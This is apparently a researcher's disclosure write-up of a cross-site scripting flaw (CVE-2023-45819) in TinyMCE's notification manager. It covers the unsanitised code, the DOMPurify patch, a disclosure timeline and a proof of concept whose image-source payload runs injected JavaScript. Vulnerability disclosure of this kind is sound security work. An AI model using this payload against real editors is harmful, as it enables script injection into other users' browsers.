Not long ago, I discovered a cross-site scripting vulnerability affecting versions < 6.4.2 and < 5.10.81 of TinyMCE.
Initially, I thought it was just a recreation of CVE-2022-23494. However, after further research, I concluded that it was a similar but separate issue (now classified as CVE-2023-45819).
TinyMCE
TinyMCE is a popular open-source WYSIWYG (What You See Is What You Get) rich-text editor used by more than 1.5 million developers2. It provides a user-friendly interface for creating and editing rich-text content on websites and web applications. It is highly customizable and supports a wide range of plugins.
Problem & Patch
The vulnerability exploits the fact that the notification manager API, which handles the creation of TinyMCE’s notifications, did not perform any sanitization or validation of user-supplied input. It was instead directly being inserted into the DOM:
const factory: UiSketcher.SingleSketchFactory<NotificationSketchDetail, NotificationSketchSpec> = (detail) => {
// For using the alert banner as a standalone banner
const memBannerText = Memento.record({
dom: {
tag: 'p',
innerHtml: detail.translationProvider(detail.text)
},
behaviours: Behaviour.derive([
Replacing.config({ })
])
});
In the updated and patched versions of TinyMCE, the vulnerability has been mitigated by using DOMPurify to sanitize and remove any malicious elements or attributes in the user-supplied input before it is inserted into the DOM. Lines 4-7 in the above code snippet have been replaced with the following:
dom: DomFactory.fromHtml(`<p>${HtmlSanitizer.sanitizeHtmlString(detail.translationProvider(detail.text))}</p>`),
For more context, see the entire patch/commit here and the GH advisory here.
Proof of Concept
To replicate the vulnerability in one of the affected versions, follow these steps (this example is specific to version 5.10.7):
-
Download and unzip a local copy of TinyMCE:
wget https://download.tiny.cloud/tinymce/community/tinymce_5.10.7_dev.zip unzip tinymce_5.10.7_dev.zip -
Create a file named
poc.htmland copy & paste the following into it3:<!DOCTYPE html> <html> <head> <script src="tinymce/js/tinymce/tinymce.min.js"></script> <script type="text/javascript"> tinymce.init({ selector: 'textarea#file-picker', plugins: 'image code', toolbar: 'undo redo | link image | code', image_title: true, automatic_uploads: true, file_picker_types: 'image', file_picker_callback: function (cb, value, meta) { var input = document.createElement('input'); input.setAttribute('type', 'file'); input.setAttribute('accept', 'image/*'); input.onchange = function () { var file = this.files[0]; var reader = new FileReader(); reader.onload = function () { var id = 'blobid' + (new Date()).getTime(); var blobCache = tinymce.activeEditor.editorUpload.blobCache; var base64 = reader.result.split(',')[1]; var blobInfo = blobCache.create(id, file, base64); blobCache.add(blobInfo); cb(blobInfo.blobUri(), { title: file.name }); }; reader.readAsDataURL(file); }; input.click(); }, content_style: 'body { font-family:Helvetica,Arial,sans-serif; font-size:14px }' }); </script> </head> <body> <textarea id="file-picker"></textarea> </body> </html> -
Serve
poc.htmlin a browser. -
Click on the “Insert/edit image” button.
-
In “Source”, enter the following:
blob:<img src=x onerror=alert(tinymce.majorVersion+'.'+tinymce.minorVersion)> -
Click “Save” and observe that an alert box appears, indicating that the JavaScript was executed in the browser.

Disclosure Timeline
- 2023-10-07 - Vulnerability reported
- 2023-10-11 - Vulnerability confirmed
- 2023-10-19 - Patch released
- 2023-10-20 - CVE introduced
-
Since the release of
6.4.2, notification errors are no longer displayed when the editor fails to retrieve blob image URIs (changelog). As a result, the PoC provided here is specific to versions< 6.4.2and< 5.10.8. However, the vulnerability as a whole affects versions>= 6.0.0 < 6.7.1and< 5.10.8. ↩ -
https://www.tiny.cloud/blog/tinymce-free-wysiwyg-html-editor ↩
-
Sample code taken from TinyMCE Docs. ↩